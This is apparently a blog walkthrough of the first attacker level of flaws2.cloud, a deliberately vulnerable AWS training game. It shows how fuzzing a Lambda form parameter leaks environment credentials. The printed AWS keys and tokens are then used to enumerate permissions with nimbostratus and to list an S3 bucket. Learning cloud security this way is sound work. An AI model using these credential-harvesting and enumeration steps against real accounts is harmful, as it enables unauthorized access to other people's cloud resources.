flAWS2.cloud — A Deeper Dive into AWS Cloud Security
I recently completed the original flaws.cloud, and found it enjoyable and rewarding. If you develop with AWS I highly recommend it.
As a beginner, the hints will help you learn as you do, and have fun.
If you’re more advanced you’ll be able to get through it pretty quickly (though doI think it might be a stretch for most people to do the entire thing with no hints), but it’s always good to brush up on your fundamentals.
Either way, highly recommended.
Not long after flaws.cloud was released, Scott released flaws2.cloud, featuring more serverless focus, and the ability to play as both a Red team or a Blue teamer. Let’s get into it!
Attacker — Level 1
If you view the page source, you can see the form action (where it submits the data) is https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1
Further, we can see there is basic validation javascript in the page:
Data gathered:
- Using AWS API Gateway
- API Gateway ID 2rfismmoo8 and stage name is “default”
- Sending a querystring parameter “code”
- which is validated on the frontend to be numeric
If you try submitting, you can also see the form is making GETs. This makes messing with it slightly easier, if unrealistic (almost all forms in the wild will POST).
So the quick and dirty, but not altogether realistic thing to do here is copy that URL, and try messing with the ?code=xxxx part.
In a “real” situation we’d be using POST, and likely to be needing to mess with this request in a bit more depth - now is when we’d break out Burpsuite.
I may cover this in a later blog post, suffice to say it’s the main tool of choice for such work.
Although it’s not strictly necessary I still did this — after all, part of the reason we’re doing this exercise is to learn and become more competent with our Tools.
First I captured the request, then modified the ?code parameter to be “xxx” instead of a number, manual fuzzing.
And what do ya know, submitting a non-integer breaks the lambda, which proceeds to dump its environment variables:
Error, malformed input
{"PATH":"/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin","LD_LIBRARY_PATH":"/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib","LANG":"en_US.UTF-8","TZ":":UTC","LAMBDA_TASK_ROOT":"/var/task","LAMBDA_RUNTIME_DIR":"/var/runtime","AWS_REGION":"us-east-1","AWS_DEFAULT_REGION":"us-east-1","AWS_LAMBDA_LOG_GROUP_NAME":"/aws/lambda/level1","AWS_LAMBDA_LOG_STREAM_NAME":"2020/06/30/[$LATEST]1579f342a79249258f51b64a34eee754","AWS_LAMBDA_FUNCTION_NAME":"level1","AWS_LAMBDA_FUNCTION_MEMORY_SIZE":"128","AWS_LAMBDA_FUNCTION_VERSION":"$LATEST","_AWS_XRAY_DAEMON_ADDRESS":"169.254.79.2","_AWS_XRAY_DAEMON_PORT":"2000","AWS_XRAY_DAEMON_ADDRESS":"169.254.79.2:2000","AWS_XRAY_CONTEXT_MISSING":"LOG_ERROR","_X_AMZN_TRACE_ID":"Root=1-5efadd1c-c7cb8eec43957764dd6f1fb0;Parent=13db5d162372862f;Sampled=0","AWS_EXECUTION_ENV":"AWS_Lambda_nodejs8.10","_HANDLER":"index.handler","NODE_PATH":"/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules","AWS_ACCESS_KEY_ID":"ASIAZQNB3KHGI4YQSIUQ","AWS_SECRET_ACCESS_KEY":"rcPa5/9RhAFL44iWs2OJgWpY4SOs6zqkUFFzc4bs","AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2VjEI7//////////wEaCXVzLWVhc3QtMSJGMEQCIAMUeyvpHPHDJ2YHgDIQv+6CbZqttp5onOyRkJxuZVodAiAj5k8ZEHmFt5pHPcv5yBsS10zT/K6ea5aOkQ1oqIowUCrFAQgnEAEaDDY1MzcxMTMzMTc4OCIMvxEnwbW8OOuDbzx8KqIBy5GmIriPsoy8MApA19ZDC2/kBBki3+n7wjhVdOeGyjqa+ju/jv/rVVTjvkj6jIMdo8FaqJuGhFHIzatEdx1IAA3UpMBaUIG4ob2GstZvnKlPFU+xCjiTiJFYOkFt+4CECD9Taahs2M56C+vZBMesaZyNHnzEk7VMRXeFtjWFl1S/z+HcGv+m2ckKYOcT9eUYBEQYt1evexV/8dNXGcaCx+P7MNqq6/cFOuEBCMMeHjG/POOJka6P0X+tNyIGA3Aucs0TMMC9sMeSfUmO4R3XpXx8vX9nddn1gRdXErQKMpVODs72FufoTtTs74MV1eu1pQ2znjWyoCldtAaNTeL1+kSkr4z1vFi5uAhIRwyeFI+pm2TGCSBbDecgCjIZ4a0IgsVq/qrjgBjzoQdOwkJjy30OyoZE2U/o890a0isH1mqWYRTVcDEAsuASX6rQVBERtdBNx1xSqPVy6VL15Xi5gX+eq3CSiomfbJF1elo/tB9CibeB8yPduAgk1vC5nwkhwTNS9t5jEkGFSRk3"}
You can already see the final couple of variables are paydirt. I put them in ~/.aws/credentials, then can determine who these creds are for “aws — profile flaws2 sts get-caller-identity”:
{
"Account": "653711331788",
"UserId": "AROAIBATWWYQXZTTALNCE:level1",
"Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}
I tried a bunch of stuff with these creds, including
- iam list-roles, describe
- lambda get, list versions
- Guessing the PIN might be stored there: ssm get-parameters and secretsmanager list-secrets
IAM Permission Enumeration
Right about now I began thinking, wow how come there’s no tool to enumerate what IAM permissions a current user has?
And sure enough there is.
Called nimbostratus by Andres Riancho.
You can find his relevant talk “Pivoting in Amazon Clouds” here.
I did have some issues setting this up locally with python2, so decided to make and run it in docker, feel free to check out the trivial source. I also made a convenience script to run it. The TLDR using the creds:
~/w/3/f/f/docker-nimbostratus> nimbostratus flaws2level1Using profile: flaws2level1 to dump-permissionsdocker run --rm -ti rdkls/nimbostratus:latest dump-permissions --access-key ASIAZQNB3KHGFWG2RJ7V --secret-key Mhw3RDswHMIREv45+MQCcP+vUa+2rYG/HCYW2vdc --token IQoJb3JpZ2luX2VjEJL//////////wEaCXVzLWVhc3QtMSJHMEUCIAgNdrUkffDGBqtPS4kBNLzhI+ahVZW1QdgmW7jokHyIAiEA8py5rmfQEtLY/oqobX2ZbmHlSAlheKEi6t5XOpm5ZuMqxQEIKhABGgw2NTM3MTEzMzE3ODgiDB+h2LkguKbs0/gkOCqiARZp73ZG7YTAfa00szq8q4/RtqHe+GyG5EVbp4vDQKnL4h9In7KrJjS4/N7ZA58pUBVxwWRYrp4gWDohzqEG8pgQEJiTSmMTrU5i55mId+2HiEgezBOfUKSz/KoRkhjKK71ZXoV9oyPUud5Sh7686RhlHdgI3avLW24/dvAAHN5fDBy7cG5d32HBSFt9jQiwp5zUu+WCnJSEYDgUEkwAVCXJSzDKhuz3BTrgASB0uLOYgtnzL+RseVfAFxACnNI3rc5jc/Z7aHb56jjiDX/0xU06iP+2u0K/PX3s1uJvv2JcBSIe3nSexQyXSkO1S7i9AOyLcyl+0yK/VQm0jru6zERJqwn8KggCWjtn6wHc5AK7/WrZEE4WjXdRaEL7PWuq9UNeMC8ejMoc/lWyZwdtWyKd3S47KeU+KmiRoenZTITkjmjjr4OynJEEBTLPd3JKbU52L+cGYJXGnW6bnqRH4zSIwePbfVnvefjRQkXu5xd9cLU8+HUtYRR2XEzlpXrx21Fs3ADJ+h8INUE6No actions could be bruteforced.
No permissions could be dumped.
Hm, not so helpful.
Just to prove it works, let’s try with some creds from flaws1:
~/w/3/f/f/docker-nimbostratus> nimbostratus flaws6Using profile: flaws6 to dump-permissionsdocker run --rm -ti rdkls/nimbostratus:latest dump-permissions --access-key AKIAJFQ6E7BY57Q3OBGA --secret-key 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
Current user Level6
{u'Statement': [{u'Action': ['DescribeImages',
'DescribeInstances',
'DescribeInstanceStatus',
'ListQueues',
'DescribeDBInstances',
'DescribeDBSecurityGroups',
'DescribeDBSnapshots'],
u'Effect': u'Allow',
u'Resource': u'*'}],
u'Version': u'2012-10-17'}
That’s a bit more helpful. Actually it would’ve been interesting back in flaws1. But it’s not now :)
The Super Stupid Simple (S3) Truth
But you know what I forgot, the focus of so much of flaws1 — listing s3 buckets. Following the tips tell you this.
~/w/3/f/flaws2.cloud> aws --profile flaws2 s3 ls level1.flaws2.cloud Jun 18:35:30 2020
PRE img/
2018-11-21 07:55:05 17102 favicon.ico
2018-11-21 13:00:22 1905 hint1.htm
2018-11-21 13:00:22 2226 hint2.htm
2018-11-21 13:00:22 2536 hint3.htm
2018-11-21 13:00:23 2460 hint4.htm
2018-11-21 13:00:17 3000 index.htm
2018-11-21 13:00:17 1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
So we visit http://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
And Success. Sometimes I feel so dumb :)